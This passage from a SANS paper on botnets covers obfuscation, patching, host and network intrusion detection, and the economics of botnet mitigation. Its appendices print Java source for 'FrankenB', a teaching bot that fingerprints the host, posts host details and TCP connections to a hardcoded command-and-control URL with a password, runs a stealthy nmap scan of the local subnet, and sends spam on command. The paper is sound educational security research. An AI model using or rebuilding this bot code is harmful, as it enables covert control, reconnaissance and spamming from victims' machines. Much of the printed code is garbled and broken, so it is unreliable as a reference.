Furthermore, encrypting and obfuscating code will slow down the efforts of researchers who are trying to crack open a botnet, giving the botmaster more time to produce revenue while it remains active. Cutting edge botnets such as SpyEye and ZeuS use these various techniques to protect themselves. (Nayyar, 2010) and figure 15 shows an attempt at obfuscating FrankenB bot code using Proguard (Lafortune, 2011).

![Figure 15 Obfuscated bot code](image)

12. Mitigating the impact of botnets - A technical perspective

In the previous section, possible improvements to FrankenB were discussed. As the discussion progressed, some weaknesses that researcher and law enforcement have successfully used to combat botnets were mentioned. Some of these weaknesses were very specific to particular botnets, but there are general lessons one can draw from the study of botnets.
Since many botnets propagate through worm-like behavior or malware that exploit software vulnerabilities, keeping systems well patched is usually considered one of the prime botnet mitigation strategies (Nachreiner & Pinzon, 2008). Some people even go beyond patching in their commentary on the subject. In his book, *Software Security – Building Security In*, Gary McGraw (2006) makes the case for security to be an integral part of the software development life-cycle, to use what he calls ‘key touch points’ to build security in the software. He certainly makes a good argument which is well supported by software developers’ poor track record over the years. An amusing quote that illustrates this goes as far as comparing botnets to “[…] compulsory military service for Windows boxes” (Bächer, Holz, Kötter & Wicherski, 2008).

Unfortunately, by focusing on a single dimension, one is bound to miss the larger picture. Hosts do not get compromised strictly through the work of highly skilled hackers who toil relentlessly to find faults in software applications. Hosts can just as easily be compromised by operators skilled in social engineering. Even a perfectly patched system will succumb if the system’s user cannot resist the urge to view *SuperCuteJumpingBunnies.exe*. With that said, keeping systems well patched is a valid mitigation technique, albeit not the only one.

Another area of botnet mitigation focuses on detection. By definition, botnet activity implies some form of communication taking place between bots and their C&C. This opens the door for monitoring and analyzing network communication as a method to identify suspicious hosts. Creating a network traffic baseline can help tremendously. While it is true that botnets try hard to work covertly, botnets traffic is anomalous traffic. Being able to detect these anomalies in a network will lead to the detection of the botnet, and a botnet that has lost its ability to operate covertly becomes vulnerable. Once identified as being part of a botnet, it is easy to prevent that host from harming others by placing it in network isolation inside a ‘walled garden’ (Grawboski, 2009).

Analyzing network communication patterns is only one component of a good defence in depth though. Host intrusion detection systems should also be considered so that a complete picture is obtained. Bots, however well hidden they may be, will leave traces on the hosts they have compromised. Evidence of the merging of host and network

Francois Begin, francois.begin@telus.com
intrusion detection systems in the marketplace (Tan, 2001) shows that efficient security systems are now less inclined to work in isolation and rather take a more holistic, multi-layered view to protecting digital assets.

A strong case can therefore be made for implementing both a HIDS (Host Intrusion Detection System) and a NIDS (Network Intrusion Detection System). Of course, HIDS and NIDS are expensive and are typically something that only a medium-to-large-scale business would consider. Thankfully, there are open source alternatives such as OSSEC (www.ossec.net) and Snort (www.snort.org). Single users and small businesses can also gain some protection by considering a security suite that combines firewall, malware detection, AV, spam & phishing protection, etc. rather than standalone products. These products are not perfect (Staniford, 2008) but they help to minimize the risk.

13. Mitigating the impact of botnets – A more universal perspective

Up to this point, this paper has focused on the technical aspects of the botnet threat but when it comes to mitigation, research shows that “[…] technical solutions alone fail to produce satisfactory results” (Asghari, 2010). So there is a need to expand the perspective of this paper and look beyond technical controls.

First off, consider one of the botnet mitigation techniques that was covered in the previous section: patching and software security. While it makes perfect logical and technical sense to strive for secure code – which would squeeze out a large category of botnet attack vectors (exploit code) - the economic reality is very different. Vendors are not altruistic. They want to make money and the best way to achieve this is to grab a monopoly and dump the risk back on the people who buy their software (Anderson, 2001). Not only are they motivated to do so, they appear to have succeeded (Anderson & Moore, 2007). Multiple sites such as the National Vulnerability Database (nvd.nist.gov), CVE (cve.mitre.org) and Security Focus (securityfocus.com) are dedicated to tracking

Francois Begin, francois.begin@telus.com
software vulnerabilities. There is a thriving security industry for vulnerability assessment and penetration testing, and software patch management is often near the top of every systems administrator’s list of priorities. None of these measures address the perceived root cause (insecure code), showing that risk has indeed been dumped. Is dumping risk such a bad model? Not necessarily. As a recent study (Van Eeten, Bauer, Asghari, Tabatabaie & Rand, 2010) stated “As security comes at a cost, tolerating some level of insecurity is economically rational”. It is not just vendors that make this calculation but also software consumers, which may explain partly why this is taking place.

It should be noted though that some recent research is challenging in whose lap risk should be dumped. For instance, ISPs have long resisted taking ownership of their customers’ compromised systems. They are, after all, simply providers of the service and what end users do with the bandwidth is not necessarily their responsibility. But a paper on the economics of malware by Van Eeten & Bauer (2008) builds a case for having ISPs and registrars take a more active role in combating cyber threats, including botnets. By having these players manage the risks, which the authors argue is something they can do much better than regular end users, near optimal solutions to these problems might be achievable.

While it may appear at first that ISPs have few incentives to ‘own the risk’ of botnets, Van Eeten and Bauer point at a shift in attitude that occurred in 2003 and they note that we now see more action to help end users deal with their chronic insecurities. Of course, one should not expect ISPs to make massive investments in cyber-security for altruistic reasons alone as they do find benefits in these investments. For example, an ISP that takes steps to isolate bots running on its network will see a decrease in its chances of being blacklisted by its peers for harboring bots. Preventing malware infections that impact users’ experience will also reduce the number of service calls to their help desk. Good security is also a good insurance against brand damage. But the most compelling argument is perhaps that empirical evidence points to the fact that a small number of ISPs are the source of a large number of ‘troublesome’ hosts (Van Eeten et al., 2010). By focusing on reining in this small group of ISPs, significant progress can be made.

Francois Begin, francois.begin@telus.com
Further evidence of how risk ownership is handled can be found in a survey of companies that conducted business transactions online in North America in 2010. The industry reported losses of less than 1% due to fraudulent online activities (CyberSource, 2011). While the dollar value of these activities has increased over the years, there is actually a downward trend percentage wise. The same source also estimates that the ratio of ‘fraud management costs’ to ‘sales’ stands at about 0.2%. Looking more specifically at the losses of a major credit card company due to fraud (of any sort), VISA reported an aggregate fraud loss ratio of 0.06% for its European operations (Payment Cards & Mobile, 2009). What is significant here is that these are industries that have made major investments to protect their assets and their customers’ assets. Credit card industries very seldom dump the risk on the end user but rather have taken proactive steps to mitigate the risk themselves or force companies that handle credit cards to assume some of the risks through the Payment Card Industry Data Security Standard (PCI DSS) program.

The financial losses alluded to still represent billions of dollars but one must consider two things. First, that past a certain point, it does not make sense economically to attempt to reduce these values further, that these losses simply become part of the cost of doing business. Secondly, that the benefits of automation and online transactions often counterbalance the losses significantly. So what might be seen here is simply the industry having reached an optimal equilibrium between security measures and cost.

What is also important to note is that these efforts toward mitigating cyber threats (including botnets) are not conducted in isolation. ISP, registrars, e-commerce players, credit card companies are all working towards the same goal. It could even be argued that the software industry is tuning in to this, as exemplified by Microsoft, never known as an IT trend setter, which undertook a massive effort towards trustworthy computing a decade ago (Gates, 2002).

Thinking about botnets beyond technical solutions can help one understand why, along with malware, spam and other digital threats, they are being recognized as a universal issue that needs to be dealt with by society at large. It is such a large and complex problem that securing cyberspace ranks amongst the Grand Challenges for Engineering according to the National Academy of Engineering (2008). It is not just...

Francois Begin, francois.begin@telus.com
individuals that are being threatened by botnets. Institutions that rely on electronic commerce, services (power grids, government offices) and even a sovereign country’s national security (Carr, 2009) are at stake.

In their paper titled *ITU Botnet Mitigation Toolkit*, the International Telecommunications Union frames the problem by breaking it down into three main aspects: social, technical and policy. The policy section discusses topics such as international cooperation and how concerns of privacy can clash with vigorous prosecution of spammer, malware creators and botmasters. This is compounded by the fact that a botmaster can be controlling a compromised host from thousands of miles away, from a country where the rule of law (and/or their application) is quite different from what one can expect in North America.

The social side of the equation should also not be ignored. End users tend to lack awareness, knowledge and even incentive to fix issues so training them and making them active participants in the fight would improve the situation. End users are not the only ones that should be continuously educated. IT personnel should also be provided with the time required to review current threats, without necessarily trusting blindly a vendor that is providing them a turnkey security solution. By being knowledgeable of attack vectors, covert communication channels, bot behaviors, etc, they will be better equipped to monitor their systems for possible compromises, and also better equipped to influence the implementation of sound solutions. Hopefully this paper provides a little help in that respect.

### 14. Conclusion

This paper gave an overview of botnets, providing a historical background. It discussed bots and botnets by building one. FrankenB, albeit simplistic, implements many key functions of existing botnets: covert communication channel, reporting,
scanning and spamming. Once FrankenB built, the paper discussed improvements that could be made to it and that modern botnets are using currently.

The paper then moved on to mitigation. While there is an important technical component to mitigating botnets, this particular discussion quickly moved to a more universal approach to mitigate the botnet threat, one that involves players such as ISPs, software vendors, e-commerce vendors. If there is one main conclusion that can be drawn from this paper, it is that botnets cannot be fought in isolation.

As Krogoth (2008) writes succinctly in his paper *Botnet construction, control and concealment*: "Every botnet will be detected eventually". It can also be said that, with sufficient patience and some skillful reverse engineering, a captured bot binary will yield its secrets; and with sufficient will on the part of the authorities, a botnet can be annihilated or severely impaired.

Unfortunately, the nature of the beast is such that botnets will continue to come and go, and that some are better able to adapt and evolve than others. Those that cannot adapt will disappear and others will simply fill the void. What is encouraging is that research in botnet mitigation is now considered a multi-disciplinary activity, and that more concerted efforts to deal with this threat can now be observed.

Francois Begin, francois.begin@telus.com
References


Francois Begin, francois.begin@telus.com


Francois Begin, francois.begin@telus.com
BYOB: Build Your Own Botnet


Francois Begin, francois.begin@telus.com


Tan, J (2001). Forensics Readiness. @stake, Inc. Cambridge Massachusetts

Francois Begin, francois.begin@telus.com


Francois Begin, francois.begin@telus.com
Appendix A - Bot.java

```java
package ca.franky.frankenbot_bot;
import java.net.InetAddress;

/**
 * A class that hold the key characteristics of our bot, including
 * the bot status, the unique ID, its sleep cycle, etc.
 *
 * @author Francois Begin 2011
 *
 */
public class Bot {

  // Current status of the bot
  String status;
  // The initial password to authenticate to the C&C
  String ccInitialPwd;
  // The initial C&C URL
  String ccInitialURL;
  // How often in seconds to poll the C&C for instructions
  int sleepCycle;
  // Randomness in sleep cycle
  int sleepCycleRandomness;
  // This bot's unique ID
  String id;
  // This bot's public IP address
  InetAddress publicIP;
  // Various network parameters related to this host
  HostNetParams hostNetParams;

  /**
   * Our main constructor
   */
  public Bot() {
    status = "init";
    ccInitialPwd = "K9!@J3llYb@by!TbH3m@st3r";
    ccInitialURL = "https://factoryno1.franky.ca/botcandc/";
    sleepCycle = 10;
    sleepCycleRandomness = 5;
    id = "";
    publicIP = null;
    hostNetParams = new HostNetParams();
  }

  /**
   * Method that generated a unique bot id using a hash of the
   * host hardware information. Currently only implemented on Linux
   */
  public void generateBotID() {
    HostDetails myHost = new HostDetails();
    String hwData = "";
    if (myHost.osName.toUpperCase().equals("LINUX")) {
      hwData = Tools
    }
  }
}
```

Francois Begin, francois.begin@telus.com
Francois Begin, francois.begin@telus.com

```java
.runCmd("lshw | grep -e serial -e product |
grep -v Controller | grep -v None");

id = Tools.computeMD5(hwData);
```

© 2011 The SANS Institute  As part of the Information Security Reading Room  Author retains full rights.
Appendix B - BotMain.java

```java
package ca.franky.frankenbot_bot;

import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.Iterator;

/** * Our main class that drives the bot's actions * @author fbegin */
public class BotMain {

public enum ccResponses { start, sleep, noResponse, spam, scan };

public static void main(String[] args) {

    // BOT IS IN INIT MODE
    
    // Check for arguments given to the bot at startup.
    // Currently, only 'debug' is implemented
    
    Boolean debug = false;
    for (int i = 0; i < args.length; i++) {
        if (args[i].equals("-debug") ) {
            debug = true;
        }
    }

    // Create a new bot object
    Bot myBot = new Bot();
    if ( debug ) { System.out.println("New bot object created"); } 

    // We set up a trust to the SSL cert of the
    // web server running our C&C
    new CC_Connector().setupTrust();

    // We will need to create various report objects
    // to send to the C&C
    CC_DataExchanger myReport = new CC_DataExchanger();

    // This holds replies from the C&C
    String replyFromCC;

    Boolean botStarted = false;
    while ( ! botStarted ) {
        // We attempt to connect to the C&C for the first time
        replyFromCC = myReport.makeInitialConnection(myBot, debug);
    }
}
```

Francois Begin, francois.begin@telus.com
```java
switch (ccResponses.valueOf(replyFromCC)) {
    case start:
        botStarted = true;
        if (debug) System.out.println("C&C told me to start");
        break;
    case sleep:
        botStarted = false;
        if (debug) System.out.println("C&C told me to sleep for now");
        break;
    case noResponse:
        if (debug) System.out.println("No response from C&C. Sleeping...");
        break;
    default:
        if (debug) System.out.println("C&C responded with something I did not understand: ": replyFromCC +"" );
        break;
}
if (!botStarted) {
    Tools.sleep(myBot.sleepCycle, myBot.sleepCycleRandomness, debug);
}

/**********************/
* BOT IS IN START MODE
**********************/
myBot.status = "start";

// Generate the botID
if (debug) System.out.println("Determining botID");
myBot.generateBotID();
if (debug) System.out.println("This bot UID = "+myBot.id);

// We build an object containing details about this host
if (debug) System.out.println("Getting bot details");

// We send our first real report to the C&C and expect
// the C&C to reply with our public IP address
replyFromCC = myReport.sendHostsDetails(myBot, debug);

// If the C&C replied with our public IP address, we
// save that information
if (replyFromCC != null) {
    try {
        myBot.publicIP = InetAddress.getName(replyFromCC);
        if (debug) System.out.println("C&C informed me that my public IP is": myBot.publicIP);
    } catch (UnknownHostException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }
}
```

Francois Begin, francois.begin@telus.com
myBot.status = "command";

if (debug) System.out.println("Starting listening thread");

NICListener listenerThread = new NICListener();
listenerThread.start();

while (true) {
    // We gather tcp connection data
    String tcpConnections = "";
    Iterator<String> itr =
        listenerThread.connectionTriplets.iterator();
    while (itr.hasNext()) {
        tcpConnections += itr.next();
    }

    // We POST ongoing reports to the C&C and listen
    // for further orders
    replyFromCC = myReport.sendOngoingReport(myBot, tcpConnections,
        debug);
    switch (ccResponses.valueOf(replyFromCC)) {
        /******************************
         * BOT IS SENDING SPAM
         ******************************/
        case spam:
            if (debug) System.out.println("C&C told me to send spam");
            Mailer myMailer = new Mailer(myBot);
            myBot.status = "spam";
            /*
             * Retrieve spam parameters from C&C
             */
            replyFromCC = CC_DataExchanger.requestSpamParameters(myBot,
                debug);
            if (replyFromCC != null && replyFromCC.contains("<spam>")) {
                if (debug) System.out.println("Sending spam");
                SpamModule.send(replyFromCC, myMailer, debug);
                // Go back to command mode after having sent spam
                myBot.status = "command";
            } else {
                if (debug) {
                    System.out.println("I should be sending spam but I
                        received null or garbled spam parameters from the C&C:");
                    System.out.println(replyFromCC);
                }
            }
    }
}
break;

/******************
* BOT IS SCANNING
*******************/

case scan:
    if (debug) System.out.println("C&C told me to scan");
    myBot.status = "scan";
    // We pause our tcp listening thread
    if (debug) System.out.println("Pausing the tcp listening thread");
    synchronized (listenerThread) {
        listenerThread.pleaseWait = true;
    }
    String nmapCommand = "nmap -sS -T sneaky -O " +
    myBot.hostNetParams.primaryInterfaceNetwork.toString().replace("/", "") +
    HostNetParams.toCIDR(myBot.hostNetParams.primaryInterfaceSubnetMask);  
    if (debug) System.out.println(" Using the following: " +
    nmapCommand);
    String nmapData = Tools.runCmd(nmapCommand); 
    replyFromCC = CC_DataExchanger.sendSubnetScanReport(myBot, nmapData, debug);
    // Re-start the thread
    synchronized (listenerThread) {
        listenerThread.pleaseWait = false;
    }
    myBot.status = "command";
    break;

/******************
* BOT IS SLEEPING
*******************/

case sleep:
    if (debug) System.out.println("C&C told me to sleep");
    Tools.sleep(myBot.sleepCycle, myBot.sleepCycleRandomness, debug);
    break;

/*******************
* BOT DOES NOT KNOW WHAT TO DO
*******************/

case noReponse:
    if (debug) System.out.println("No response from C&C. Sleeping...");
    Tools.sleep(myBot.sleepCycle, myBot.sleepCycleRandomness, debug);
    break;

default:
if (debug) System.out.println("C&C responded with something I did not understand: "+ replyFromCC + ");
Tools.sleep(myBot.sleepCycle, myBot.sleepCycleRandomness, debug);
    break;
}
Appendix C - CC_Connector.java

package ca.franky.frankenbot_bot;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.UnsupportedEncodingException;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import java.util.Properties;

/**
* A class that handles the connection to the C&C through POSTs
* @author fbegin1
*/
public class CC_Connector {

    // The encoded data we are POSTing
    String postData;

    // The reply we got from C&C
    String ccReply;

    // The URL of the C&C
    String ccURL;

    /**
    * A method to setup trust so that we trust the self-signed certificate
    * of the C&C
    */
    public void setupTrust() {
        Properties systemProps = System.getProperties();
        systemProps.put("javax.net.ssl.trustStore", "/etc/ssl/certs");
        System.setProperties(systemProps);
    }

    /**
    * An empty constructor
    */
    public CC_Connector() {
    }

    /**
    * Our main constructor
    * @param myPostData A 2-dimensional array containing the data we want to post
    * @param myccURL The URL where we are sending this POST
    * @param debug Whether or not we are running in debug mode
    */
    public CC_Connector(String[][] myPostData, String myccURL, Boolean debug) {

        /*
         * We build postData using myPostArray
         */
    }

    Francois Begin, francois.begin@telus.com
postData = "";
for ( int i=0; i < myPostArray.length; i++ ) {
    try {
        postData += URLEncoder.encode(myPostArray[i][0], "UTF-8") + "=" + URLEncoder.encode(myPostArray[i][1], "UTF-8") + ";";
    } catch (UnsupportedEncodingException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }
}

// Chop off trailing 
postData = postData.substring(0, postData.length()-1);

ccURL = myccURL;
ccReply="noReponse";

try {
    URL url;
    /*
     * The bot identifies itself and POST information about itself
     */
    url = new URL(ccURL+"connect.php");
    if ( debug ) {
        if (debug) System.out.println("----- start POST data -----");
        System.out.println(url); System.out.println(postData);
        if (debug) System.out.println("----- end POST data -----");
    }

    URLConnection conn = url.openConnection();
    conn.setDoOutput(true);
    OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream());
    wr.write(postData);
    wr.flush();
    
    /*
     * The bot gets a response from C&C
     */
    String reply = "";
    BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
    String line;
    while ((line = rd.readLine()) != null) {
        reply += line;
    }
    if ( reply!=null && !reply.equals("")) {
        ccReply = reply;
    }
}
wr.close();
rd.close();

} catch (Exception e) {
}

}
Appendix D - CC_DataExchanger.java

```java
package ca.franky.frankenbot_bot;

/**
 * A class that encodes the data we wish to send to the C&C and
 * gets a reply from C&C
 * @author fbegin1
 */

class CC_DataExchanger {

    /**
     * An empty constructor
     */
    public CC_DataExchanger() {
    }

    /**
     * A method to send detailed host information to the C&C
     * @param myBot The bot object sending the report
     * @param debug Whether or not we are running in debug mode
     * @return
     */
    public String sendHostsDetails(Bot myBot, Boolean debug) {
        HostDetails myHost = new HostDetails();

        String[][] myPostArray = new String[9][2];

        myPostArray[0][0] = "botpwd";
        myPostArray[0][1] = myBot.ccInitialPwd;
        myPostArray[1][0] = "status";
        myPostArray[1][1] = myBot.status;
        myPostArray[2][0] = "botID";
        myPostArray[2][1] = myBot.id;
        myPostArray[3][0] = "HostName";
        myPostArray[3][1] = myHost.hostName;
        myPostArray[4][0] = "osName";
        myPostArray[4][1] = myHost.osName;
        myPostArray[5][0] = "osVersion";
        myPostArray[5][1] = myHost.osVersion;
        myPostArray[6][0] = "osArch";
        myPostArray[6][1] = myHost.osArch;
        myPostArray[7][0] = "hostUptime";
        myPostArray[7][1] = myHost.hostUptime;
        myPostArray[8][0] = "hostIps";
        myPostArray[8][1] = myHost.hostIps;

        CC_Connector my_cc_Connector = new CC_Connector( myPostArray, 
        myBot.ccInitialURL, 
        debug);

        return my_cc_Connector.ccReply;
    }
}
```

Francois Begin, francois.begin@telus.com
/**
 * A method to send the initial report when attempting to connect to
 * the C&C for the first time
 * @param myBot The bot object sending the report
 * @param debug Whether or not we are running in debug mode
 * @return
 */
public String makeInitialConnection(Bot myBot, Boolean debug) {
    String[][] myPostArray = new String[2][2];

    myPostArray[0][0] = "botpwd";
    myPostArray[0][1] = myBot.ccInitialPwd;
    myPostArray[1][0] = "status";
    myPostArray[1][1] = myBot.status;

    CC_Connector my_cc_Connector = new CC_Connector( myPostArray, 
    myBot.ccInitialURL,  debug);

    return my_cc_Connector.ccReply;
}

/**
 * A method to send the regular reports to the C&C
 * @param myBot
 * @param tcpConnections
 * @param debug
 * @return
 */
public String sendOngoingReport(Bot myBot, String tcpConnections, 
    Boolean debug) {
    HostDetails myHost = new HostDetails();
    Mailer myMailer = new Mailer(myBot);

    String[][] myPostArray = new String[6][2];

    myPostArray = new String[6][2];
    myPostArray[0][0] = "botpwd";
    myPostArray[0][1] = myBot.ccInitialPwd;
    myPostArray[1][0] = "status";
    myPostArray[1][1] = myBot.status;
    myPostArray[2][0] = "botID";
    myPostArray[2][1] = myBot.id;
    myPostArray[3][0] = "hostUptime";
    myPostArray[3][1] = myHost.hostUptime;
    myPostArray[4][0] = "tcpConnections";
    myPostArray[4][1] = tcpConnections;
    myPostArray[5][0] = "SMTPmode";
    myPostArray[5][1] = myMailer.mode;

    CC_Connector my_cc_Connector = new CC_Connector( myPostArray, 
    myBot.ccInitialURL,  debug);

    return my_cc_Connector.ccReply;
}

Francois Begin, francois.begin@telus.com
/**
 * A method to send subnet scan results report to the C&C
 * @param myBot
 * @param subnetScanResults
 * @param debug
 * @return
 */
public static String sendSubnetScanReport(Bot myBot, String subnetScanResults, Boolean debug) {

    String[][] myPostArray = new String[4][2];

    myPostArray = new String[4][2];
    myPostArray[0][0] = "botpwd";
    myPostArray[0][1] = myBot.ccInitialPwd;
    myPostArray[1][0] = "status";
    myPostArray[1][1] = myBot.status;
    myPostArray[2][0] = "botID";
    myPostArray[2][1] = myBot.id;
    myPostArray[3][0] = "subnetScan";
    myPostArray[3][1] = subnetScanResults;

    CC_Connector my_cc_Connector = new CC_Connector( myPostArray, myBot.ccInitialURL, debug);

    return my_cc_Connector.ccReply;
}

/**
 * A method to send the regular reports to the C&C
 * @param myBot
 * @param tcpConnections
 * @param debug
 * @return
 */
public static String requestSpamParameters(Bot myBot, Boolean debug) {

    Mailer myMailer = new Mailer(myBot);

    String[][] myPostArray = new String[4][2];

    myPostArray = new String[4][2];
    myPostArray[0][0] = "botpwd";
    myPostArray[0][1] = myBot.ccInitialPwd;
    myPostArray[1][0] = "status";
    myPostArray[1][1] = myBot.status;
    myPostArray[2][0] = "botID";
    myPostArray[2][1] = myBot.id;
    myPostArray[3][0] = "SMTPmode";
    myPostArray[3][1] = myMailer.mode;

    CC_Connector my_cc_Connector = new CC_Connector( myPostArray, myBot.ccInitialURL, debug);

    return my_cc_Connector.ccReply;

}
return my_cc_Connector.ccReply;

}
Appendix E – HostDetails.java

package ca.franky.frankenbot_bot;

import java.net.InetAddress;
import java.net.UnknownHostException;

/**
 * A class that hold details about this host, such as OS information,
 * host uptime, etc.
 * @author fbegin1
 *
 */
public class HostDetails {

    // Operating system name
    String osName;
    // Operating system architecture
    String osArch;
    // Operating system version
    String osVersion;
    // Uptime of the host
    String hostUptime;
    // Name of the host
    String hostName;
    // IP addresses defined on interfaces of this host
    String hostIps;
    // SMTP server mode of operation. The values can be 'self' if the host
    // can send email directly, 'isp' if the host needs
    // to use its ISP SMTP server or 'filtered' if the host cannot send
    // mail out
    String smtpMode;

    public HostDetails() {
        //Tools myTools = new Tools();
        /*
         * Clear variables
         */
        osName = null;
        osArch = null;
        osVersion = null;
        hostUptime = null;
        hostName = null;
        hostIps = "";

        /*
         * Get details about host
         */
        osName = System.getProperty("os.name");
    
    }

Francois Begin, francois.begin@telus.com
osArch = System.getProperty("os.arch");
osVersion = System.getProperty("os.version");

if (osName.toUpperCase().equals("LINUX") {
    hostUptime = Tools.runCmd("uptime");
}

InetAddress addr[] = null;

try {
    hostName = InetAddress.getLocalHost().getHostName();
} catch (UnknownHostException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
}

try {
    addr = InetAddress.getAllByName(hostName);
} catch (UnknownHostException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
}

for (InetAddress addr: addr) {
    if (!addr.isLoopbackAddress() && addr.isSiteLocalAddress()) {
        hostIps += addr.getHostAddress() + "|";
    }
}

Francois Begin, francois.begin@telus.com
Appendix F - HostNetParam.java

```java
package ca.franky.frankenbot_bot;

import java.net.InetAddress;
import java.net.UnknownHostException;
import org.xbill.DNS.Lookup;
import org.xbill.DNS.MXRecord;
import org.xbill.DNS.Record;
import org.xbill.DNS.TextParseException;
import org.xbill.DNS.Type;
import jpcap.JpcapCaptor;
import jpcap.NetworkInterface;
import jpcap.NetworkInterfaceAddress;

/**
 * A class that defines the network parameters of the host.
 * Actually, for the purpose of this pedagogical exercise,
 * we make some pretty significant assumptions:
 *
 * First we consider that the interface that is directly connected to
 * the default gateway is our 'main/primary' interface. Second, we
 * assume that there is only one.
 *
 * Of course, neither assumption is 100% accurate but it is a good
 * enough assumption in the context of our work. It allows us
 * to concentrate on a single NIC when we do things such as passively
 * listen to tcp connections and when we run a scan of
 * our network.
 *
 * @author fbegin1
 * */

public class HostNetParams {

    // Name of the main interface e.g. eth0, eth1
    String primaryInterfaceName;

    // IP of the main interface e.g. 192.168.1.100
    InetAddress primaryInterfaceIP;

    // Netmask of the main interface e.g. 255.255.255.0
    InetAddress primaryInterfaceSubnetMask;

    // Network address of the main interface e.d. 192.168.1.0
    InetAddress primaryInterfaceNetwork;

    // Host default gateway
    String defaultGateway;

    // The ID of the main interface e.g. 0, 1, etc
    int primaryInterfaceID;
}
```

Francois Begin, francois.begin@telus.com
// The host's routes (from netstat -rn)
String hostRoutes;

// The host's FQDN
String hostFQDN;

// The host's domain name
String hostDomainName;

/**
 * Our main constructor
 */
public HostNetParams() {

    /*
     * We rely on netstat -rn to get host routing information
     */
    hostRoutes = Tools.runCmd("netstat -rn ");
    String[] multiLineRoutes = hostRoutes.split("\n");
    String defaultRoute = "";
    /*
     * The line that start with 0.0.0.0 contains our default route and
     * primary interface (see comments at the top
     * of this class for our definition of 'primary'
     */
    for (int i = 0; i < multiLineRoutes.length; i++) {
        if (multiLineRoutes[i].substring(0, 7).equals("0.0.0.0")) {
            defaultRoute = multiLineRoutes[i];
        }
    }
    /*
     * The second element of the line that starts with 0.0.0.0 should
     * have the default gateway
     * and the last element should have the name of our main interface
     * e.g. 0.0.0.0     192.168.1.254  0.0.0.0     UG        0
     *       0          0 eth1
     */
    if (defaultRoute.trim().length() > 0) {
        String defaultRouteElements[] = defaultRoute.split("\s+");
        primaryInterfaceName =
        defaultRouteElements[defaultRouteElements.length - 1];
        defaultGateway = defaultRouteElements[1];
    } else {
        primaryInterfaceName = "unknown";
        defaultGateway = "unknown";
    }
    /*
     * We use jpcap to get the interface names. We match the name to
     * the interface ID, which we will
     * need when we sniff traffic
     */
}
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
primaryInterfaceID = -1;

for (int i = 0; i < devices.length; i++) {
    if (devices[i].name.contains((primaryInterfaceName))) {
        primaryInterfaceID = i;
    }
}
/*
 * We determine the IP address of the main interface and its subnet mask
 */

int n = 0;
for (NetworkInterfaceAddress a : devices[primaryInterfaceID].addresses) {
    if (n == 0) {
        primaryInterfaceIP = a.address;
        primaryInterfaceSubnetMask = a.subnet;
        n++;
    }
}
/*
 * We get the network address for the main interface.
 */

try {
    primaryInterfaceNetwork = InetAddress.getByName(
        binaryStringToIP(  logicalAND( ipToBinary(
                    primaryInterfaceIP.getAddress() ),ipToBinary(
                                    primaryInterfaceSubnetMask.getAddress() ) ) ) ) ;
} catch (UnknownHostException e) { // TODO Auto-generated catch block
    e.printStackTrace();
}

/**
 * A method that sets DNS data related to this host, namely the host FQDN and the name of the domain where it resides
 * @param myPublicIP
 */
public void findDNSdata(InetAddress myPublicIP) {

    // Find the FQDN
    hostFQDN = myPublicIP.getCanonicalHostName();

    // Find the domain (assumption here is .com, .net, etc so we use the last 2 parts of the FQDN)
    String[] nameParts = hostFQDN.split("\.." );
    hostDomainName = nameParts[nameParts.length-2]+"."+nameParts[nameParts.length-1];
}
/**
 * A method that attempts to find the SMTP server based on the domain
 * where the host resides
 * @param myDomain
 * @return
 */
public String findSMTPserver(String myDomain) {
    String SMTPServer = null;
    int preference = 1000;

    Record[] records = null;
    try {
        records = new Lookup(myDomain, Type.MX).run();
    } catch (TextParseException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }
    if (records != null) {
        for (int i = 0; i < records.length; i++) {
            MXRecord mx = (MXRecord) records[i];
            if (mx.getPriority() < preference) {
                SMTPServer = mx.getTarget().toString();
                preference = mx.getPriority();
            }
        }
    }
    return SMTPServer;
}

/**
 * A method that takes a string containing the binary representation of
 * an IP address and changes it to the usual decimal representation
 * @param myBinaryIP
 * @return
 */
private String binaryStringToIP(String myBinaryIP) {
    String myResult = "";
    if (! (myBinaryIP.length() == 32)) {
        return "";
    } else {
        for (int i=0; i < 4; i++) {
            String octet = myBinaryIP.substring(8*i, 8*i+8);
            int octetValue = Integer.parseInt(octet, 2);
            if (! (i == 0)) {
                myResult += ".";
            }
            myResult += Integer.toString(octetValue);
        }
    }
}
return myResult;

/**
 * Method that dos a logical AND on two strings representing binary numbers
 * @param firstString
 * @param secondString
 * @return */
private String logicalAND (String firstString, String secondString) {
    String myResult = "";
    if (! (firstString.length() == firstString.length())) {
        return "";
    } else {
        for (int i = 0; i < firstString.length(); i++) {
            if (firstString.substring(i, i + 1).equals("1") &&
            secondString.substring(i, i + 1).equals("1") ) {
                myResult += "1";
            } else {
                myResult += "0";
            }
        }
    }
    return myResult;
}

/**
 * Method that translates a byte array (representing an IP) into a binary number (saved as a string)
 * @param ipInBytesArray
 * @return */
private static String ipToBinary(byte[] ipInBytesArray) {
    String ipAddress = "";
    for (int i = 0; i < ipInBytesArray.length; i++) {
        StringBuilder binaryValue = new StringBuilder("00000000");
        for (int bit = 0; bit < 8; bit++) {
            if (((ipInBytesArray[i] >> bit) & 1) > 0) {
                binaryValue.setCharAt(7 - bit, '1');
            }
        }
        ipAddress += binaryValue;
    }
    return ipAddress;
}
/**
 * Method that translates a subnet mask to its CIDR notation form
 * @param ipInBytesArray
 * @return
 */
public static String toCIDR(InetAddress myNetmask) {
    String maskString = ipToBinary(myNetmask.getAddress());
    return "/"+maskString.replace("0", "").trim().length();
}
}
Appendix G – Mailer.java

package ca.franky.frankenbot_bot;

import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.net.Socket;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;

/**
 * A class that helps the bot determine whether or not it can send
 * outbound mail. The class also has a method to send an actual email
 * @author fbegin1
 * */

class Mailer {

  String mode;
  String smtpServer;

  public Mailer(Bot myBot) {
    if (Mailer.checkOutboundSMTP("gmail-smtp-in.l.google.com")) {
      mode = "self";
